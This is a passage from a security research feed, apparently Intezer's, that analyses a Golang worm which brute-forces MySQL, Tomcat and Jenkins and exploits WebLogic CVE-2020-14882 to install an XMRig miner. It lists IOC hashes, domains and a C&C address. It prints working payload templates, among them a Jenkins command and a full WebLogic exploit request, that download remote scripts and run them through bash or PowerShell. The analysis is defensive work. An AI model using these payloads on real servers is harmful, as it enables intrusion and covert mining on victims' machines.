&lt;td style="text-align: left"&gt;&lt;code&gt;77456c099facd775238086e8f9420308be432d461e55e49e1b24d96a8ea585e8&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmrig&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;78f92857e18107872526feb1ae834edb9b7189df4a2129a4125a3dd8917f9983&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmrig.so&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3de32f315fd01b7b741cfbb7dfee22c30bf7b9a5a01d7ab6690fcb42759a3e9f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmr.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fe0f5fef4d78db808b9dc4e63eeda9f8626f8ea21b9d03cbd884e37cde9018ee&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ziggy&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;74f122fb0059977167c5ed34a7e217d9dfe8e8199020e3fe19532be108a7d607&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Windows Targeting&lt;span class="hx:absolute hx:-mt-20" id="windows-targeting"&gt;&lt;/span&gt;
&lt;a href="#windows-targeting" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;sniffer.exe&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;42e60ce9f0b7c5260282a7006af0166cd3603a6043d833719586bd1adaece138&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;svchost2.exe&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dd0a5c62db8403263872716b8b2dfd190fcf9c742e9d13ad2c40ab41df7f2045&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;Wallet: &lt;a href="https://supportxmr.com/"target="_blank" rel="noopener"&gt;84dg9MjSkFvXkqHQuBr6ep6TfhR3pTP8DRyTMN5s8RgYMVRcnce7Day8edLkk3TqAaSHXu2N4W3A3XjKMaSx4X8Q3KQgZnh&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Spring 2021&lt;span class="hx:absolute hx:-mt-20" id="spring-2021"&gt;&lt;/span&gt;
&lt;a href="#spring-2021" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;aws.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;8cedd6187439f73675b076d70647ee117ec3a4184a5045499a6172ae6e6c2c39&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;grab_aws-data.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a1e9cd08073e4af3256b31e4b42f3aa69be40862b3988f964e96228f91236593&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;init.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;4e059d74e599757226f93ea8ddcfb794d4bcda605f0e553fbbef47b8b7c82d2b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;search.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ed40bce040778e2227c869dac59f54c320944e19f77543954f40019e2f2b0c35&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Summer 2021&lt;span class="hx:absolute hx:-mt-20" id="summer-2021"&gt;&lt;/span&gt;
&lt;a href="#summer-2021" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files-5"&gt;&lt;/span&gt;
&lt;a href="#files-5" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;SSH.id_rsa.LAN.spread.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;000f9927d2aad73a10d7034cff8308535322e629a75600addfe38202305101ba&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mo.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;1b72088fc6d780da95465f80ab26ba094d89232ff30a41b1b0113c355cfffa57&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;SSH.id_rsa.LAN.spread.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3cc54142b5f88d03fb0552a655e32e94f366c9e3bb387404c6f381cfea506867&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bot_u&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;5e1af7f4e6cf89cff44ee209399a9fab3bfd8f1ca9703fb54cee05cce2b16d4c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;scan.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;6c8a2ba339141b93c67f9d79d86a469da75bfbc69f128a6ed702a6e3925d5a29&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;setup.scanner.root.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;8737eb891a80302929a7d2a6ffacd51338705783f250ecbcd62d2d623f9e98fd&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;sx.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a383e770c319b2411ed17775a114b697fb83ab53912266462ad1607c090ca608&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;kbot_x86_64&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a46c870d1667a3ee31d2ba8969c9024bdb521ae8aad2079b672ce8416d85e8df&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Domains&lt;span class="hx:absolute hx:-mt-20" id="domains"&gt;&lt;/span&gt;
&lt;a href="#domains" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;teamtnt[.]red&lt;/li&gt;
&lt;li&gt;chimaera[.]cc&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Early Bird Catches the Worm: New Golang Worm Drops XMRig Miner on Servers</title><link>https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/</link><pubDate>Tue, 29 Dec 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/</guid><description>
&lt;p&gt;In early December, we discovered a new, undetected worm written in Golang. This
worm continues the popular
&lt;a href="https://intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/?utm_campaign=research-blog&amp;amp;utm_content=new-golang-worm-drops-xmrig-miner-on-servers&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;2020 trend&lt;/a&gt;
of multi-platform malware developed in Golang.&lt;/p&gt;
&lt;p&gt;The worm attempts to spread across the network in order to run XMRig Miner on a
large scale. The malware targets both Windows and Linux servers and can easily
maneuver from one platform to the other. It targets public facing services;
MySQL, Tomcat admin panel and Jenkins that have weak passwords. In an older
version, the worm has also attempted to exploit WebLogic’s latest
vulnerability: CVE-2020-14882.&lt;/p&gt;
&lt;p&gt;During our analysis, the attacker kept updating the worm on the Command and
Control (C&amp;amp;C) server, indicating that it’s active and might be targeting
additional weak configured services in future updates.&lt;/p&gt;
&lt;h2&gt;Technical Analysis of New Golang Worm&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-new-golang-worm"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-new-golang-worm" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The attack uses three files: a dropper script (bash or powershell), a Golang
binary worm, and an XMRig Miner—all of which are hosted on the same C&amp;amp;C.&lt;/p&gt;
&lt;p&gt;The ELF worm binary and the bash dropper script are both fully undetected in
VirusTotal at the time of this publication. Figure 1 shows the ELF worm binary
result in VirusTotal.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig1.png" title="Figure 1: ELF file fully undetected in VirusTotal (ead2cf8ab7aef63706b40eb57d668d0a)" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: ELF file fully undetected in VirusTotal (ead2cf8ab7aef63706b40eb57d668d0a)&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware behaves similarly on both Linux and Windows operating systems. We
will describe the Linux worm flow below.&lt;/p&gt;
&lt;h3&gt;Linux Worm Attack Flow&lt;span class="hx:absolute hx:-mt-20" id="linux-worm-attack-flow"&gt;&lt;/span&gt;
&lt;a href="#linux-worm-attack-flow" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Upon execution, the worm checks if a process on the infected machine is
listening on port 52013. The existence of a listener on this port functions as
a mutex for the malware. If a socket for the port is already open, the instance
exits, otherwise it opens a network socket on the port.&lt;/p&gt;
&lt;p&gt;In the older version, the worm will then unpack the XMRig Miner as Network01 to
the tmp folder and run it. The miner is embedded within the Golang binary using
a
&lt;a href="https://go.libhunt.com/categories/538-resource-embedding"target="_blank" rel="noopener"&gt;Go resource embedding package&lt;/a&gt;
called &lt;a href="https://github.com/go-bindata/go-bindata"target="_blank" rel="noopener"&gt;go-bindata&lt;/a&gt;. The bindataFile
functions are used by the malware to unpack the embedded XMRig Miner binary.
Figure 2 shows the function inside this file.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig2.png" title="Figure 2: xmrig_linux_amd64.go file" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: xmrig_linux_amd64.go file&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware will scan the network using TCP SYN in order to find services it
can brute force and spread over the network. It will scan for IPs that have
open ports related to these services: 8080 for Tomcat and Jenkins, 3306 for
MySQL and 7001 for WebLogic on older versions of the worm. Each of these
exploits has a package under the src “exp” (exploit) code.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig3.png" title="Figure 3: “exp” package files and functions" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: “exp” package files and functions&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The worm uses the &lt;a href="https://github.com/google/gopacket"target="_blank" rel="noopener"&gt;gopacket&lt;/a&gt; library that
provides C bindings for Go to use libpcap to read network packets. By running
pcapc, the worm gathers network data which is used to gather ACKS and continue
to brute force the services. Figure 4 shows the worm’s output for brute force
and exploitation attempts on Tomcat and MySQL services.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig4.png" title="Figure 4: Snippet from worm output" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: Snippet from worm output&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Post exploitation, the malware will deliver a loader script: ld.sh for Linux
and ld.ps1 for Windows. The loader is responsible for dropping and running the
XMRig Miner and the Golang worm on the exploited service. See loader scripts in
Figures 5 and 6.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig5.png" title="Figure 5: ldr.sh – Dropper bash script for Linux-based services" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: ldr.sh – Dropper bash script for Linux-based services&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig6.png" title="Figure 6: ldr.ps1 script – Dropper powershell script for Windows-based services" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: ldr.ps1 script – Dropper powershell script for Windows-based services&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Exploit Flow&lt;span class="hx:absolute hx:-mt-20" id="exploit-flow"&gt;&lt;/span&gt;
&lt;a href="#exploit-flow" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The following describes the attack flow for each service.&lt;/p&gt;
&lt;h4&gt;MySql: Port 3306&lt;span class="hx:absolute hx:-mt-20" id="mysql-port-3306"&gt;&lt;/span&gt;
&lt;a href="#mysql-port-3306" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The malware will run a credential spraying brute force attack. The malware uses
a hardcoded dictionary of weak credentials, such as &lt;code&gt;root:123456&lt;/code&gt;, for this
attack.&lt;/p&gt;
&lt;p&gt;After a successful login, it will run a shellcode to gain a local privilege
escalation using mysql UDF. The exploits are embedded within the binary as a
hex string. The worm has an exploit for each operating system and architecture
(UDFLINUX32, UDFLINUX64, UDFLWIN32 and UDFWIN64). Browse
&lt;a href="https://www.exploit-db.com/docs/english/44139-mysql-udf-exploitation.pdf?rss"target="_blank" rel="noopener"&gt;here&lt;/a&gt;
for more information about the exploit.&lt;/p&gt;
&lt;p&gt;After running the exploit, the payload will use the sys_exec command to drop
and run the loader script. URLWIN and URLLINUX store the dropper script URL.
Figures 7 and 8 show the described payload for each operating system.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig7.png" title="Figure 7: MySQL queries – Linux payload" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: MySQL queries – Linux payload&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig8.png" title="Figure 8: MySQL queries – Windows payload" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 8: MySQL queries – Windows payload&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;Tomcat: Port 8080&lt;span class="hx:absolute hx:-mt-20" id="tomcat-port-8080"&gt;&lt;/span&gt;
&lt;a href="#tomcat-port-8080" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The malware will run credential spraying on the admin panel using basic
authentication.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig9.png" title="Figure 9: Example of an authentication request to the Tomcat admin panel" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 9: Example of an authentication request to the Tomcat admin panel&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Upon a successful trial, the malware will attempt to deploy a WAR file (Web
Application Resource), which will be used to transfer the 1.jsp file containing
the malicious payload.&lt;/p&gt;
&lt;p&gt;The malware will send Get requests and will parse the parameters with the jsp
file: &lt;code&gt;%s/1.jsp?win=%s&amp;amp;linux=%s&lt;/code&gt;. These parameters will contain the dropper
script URL. The jsp script will then drop and run the loaders.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig10.png" title="Figure 10: 1.jsp file script" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 10: 1.jsp file script&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;Jenkins: Port 8080&lt;span class="hx:absolute hx:-mt-20" id="jenkins-port-8080"&gt;&lt;/span&gt;
&lt;a href="#jenkins-port-8080" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Similar to previous exploits, the malware will brute force Jenkins login with
password spraying and run the following payload:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(&amp;#39;%s&amp;#39;)!bash@-c@(curl -fsSL %s || wget -q -O - %s) | bash
println &amp;#34;%s&amp;#34;&amp;#43;&amp;#34;%s&amp;#34;;def s=new String(Base64.getDecoder().decode(&amp;#34;%s&amp;#34;&amp;#43;&amp;#34;%s&amp;#34;.reverse())).split(&amp;#34;!&amp;#34;);def c=System.getProperty(&amp;#34;os.name&amp;#34;).contains(&amp;#34;indo&amp;#34;)?s[0].split(&amp;#34;@&amp;#34;):s[1].split(&amp;#34;@&amp;#34;);c.execute()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;WebLogic: Port 7001&lt;span class="hx:absolute hx:-mt-20" id="weblogic-port-7001"&gt;&lt;/span&gt;
&lt;a href="#weblogic-port-7001" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;In the older version, the malware uses the latest WebLogic remote code
execution exploit CVE-2020-14882. It will send a get request to the WebLogic
service, and use the GET request headers as part of the payload.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;GET
/console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(&amp;#39;weblogic.work.ExecuteThread
%%20currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.
WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20
field=adapter.getClass().getDeclaredField(&amp;#34;connectionHandler&amp;#34;);field.setAccessible
(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI
mpl%%20req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod
(&amp;#34;getServletRequest&amp;#34;).invoke(obj);String%%20cmd=req.getHeader(&amp;#34;cmd&amp;#34;);String[]%%
20cmds=System.getProperty(&amp;#34;os.name&amp;#34;).toLowerCase().contains(&amp;#34;win&amp;#34;)?new%%20String[]{&amp;#34;cmd.exe&amp;#34;,&amp;#34;/c&amp;#34;,req.getHeader(&amp;#34;win&amp;#34;)}:new%%20String[]{&amp;#34;/bin/sh&amp;#34;,&amp;#34;c&amp;#34;,req.getHeader
(&amp;#34;linux&amp;#34;)};if(cmd!=null{String%%20result=new%%20java.util.Scanner(new%%20java.lang
.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(&amp;#34;%%5C%%5CA&amp;#34;).next();
weblogic.servlet.internal.ServletResponseImpl%%20res(weblogic.servlet.internal.
ServletResponseImpl)req.getClass().getMethod(&amp;#34;getResponse&amp;#34;).invoke(req);work.
getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream
(result));work.getServletOutputStream().flush
();}currentThread.interrupt();&amp;#39;) HTTP/1.0
Host: %s:%d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml&amp;#43;xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: close
cmd: ls
linux: ( (curl -fsSL %s || wget -q -O - %s) | bash&amp;amp; )
win: start powershell iex(New-Object Net.WebClient).DownloadString(&amp;#39;%s&amp;#39;)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;How Do I Protect Myself?&lt;span class="hx:absolute hx:-mt-20" id="how-do-i-protect-myself"&gt;&lt;/span&gt;
&lt;a href="#how-do-i-protect-myself" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Take the following precautions in order to avoid brute force attacks and
vulnerability exploits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use complex passwords, limit login attempts and use 2FA (Two-Factor
Authentication) if possible.&lt;/li&gt;
&lt;li&gt;Minimize your use of publicly facing services.&lt;/li&gt;
&lt;li&gt;Keep your software updated with the latest security patches.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Summary of Golang Malware&lt;span class="hx:absolute hx:-mt-20" id="summary-of-golang-malware"&gt;&lt;/span&gt;
&lt;a href="#summary-of-golang-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In 2020, we saw a noticeable trend of Golang malware targeting different
platforms, including Windows, Linux, Mac and
&lt;a href="https://intezer.com/blog/malware-analysis/now-supporting-genetic-malware-analysis-for-android-applications/?utm_campaign=research-blog&amp;amp;utm_content=new-golang-worm-drops-xmrig-miner-on-servers&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Android&lt;/a&gt;.
We assess with high confidence that this will continue in 2021.&lt;/p&gt;
&lt;p&gt;The fact that the worm’s code is nearly identical for both its PE and ELF
malware—and the ELF malware going undetected in VirusTotal—demonstrates that
Linux threats are still flying under the radar for most security and detection
platforms.&lt;/p&gt;
&lt;p&gt;Both PE and ELF worms are now classified as XMRig Miner Dropper in
&lt;a href="http://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=new-golang-worm-drops-xmrig-miner-on-servers&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Intezer Analyze&lt;/a&gt;, which means you can detect and
classify any variants that are genetically similar.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/12/new-golang-worm-drops-xmrig-miner-on-servers/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Special thanks to Joakim Kennedy for his contribution to this research.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;C&amp;amp;C&lt;span class="hx:absolute hx:-mt-20" id="cc"&gt;&lt;/span&gt;
&lt;a href="#cc" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;185[.]239[.]242[.]71&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Linux&lt;span class="hx:absolute hx:-mt-20" id="linux"&gt;&lt;/span&gt;
&lt;a href="#linux" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;File name&lt;/th&gt;
&lt;th&gt;File type&lt;/th&gt;
&lt;th&gt;MD5&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dropper script&lt;/td&gt;
&lt;td&gt;ldr.sh&lt;/td&gt;
&lt;td&gt;Bash script&lt;/td&gt;
&lt;td&gt;236d7925cfafc1f643babdb8e48966bf&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv&lt;/td&gt;
&lt;td&gt;64bit ELF binary&lt;/td&gt;
&lt;td&gt;UPX packed – ead2cf8ab7aef63706b40eb57d668d0a&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv&lt;/td&gt;
&lt;td&gt;64bit ELF binary&lt;/td&gt;
&lt;td&gt;Unpacked – 750644690e51db9f695b542b463164b9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv&lt;/td&gt;
&lt;td&gt;64bit ELF binary&lt;/td&gt;
&lt;td&gt;UPX packed – f4c90b41126fc17848bd0d131288bd36&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv&lt;/td&gt;
&lt;td&gt;64bit ELF binary&lt;/td&gt;
&lt;td&gt;Unpacked – D8499b7b2e2aeb76387668306e982673&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv&lt;/td&gt;
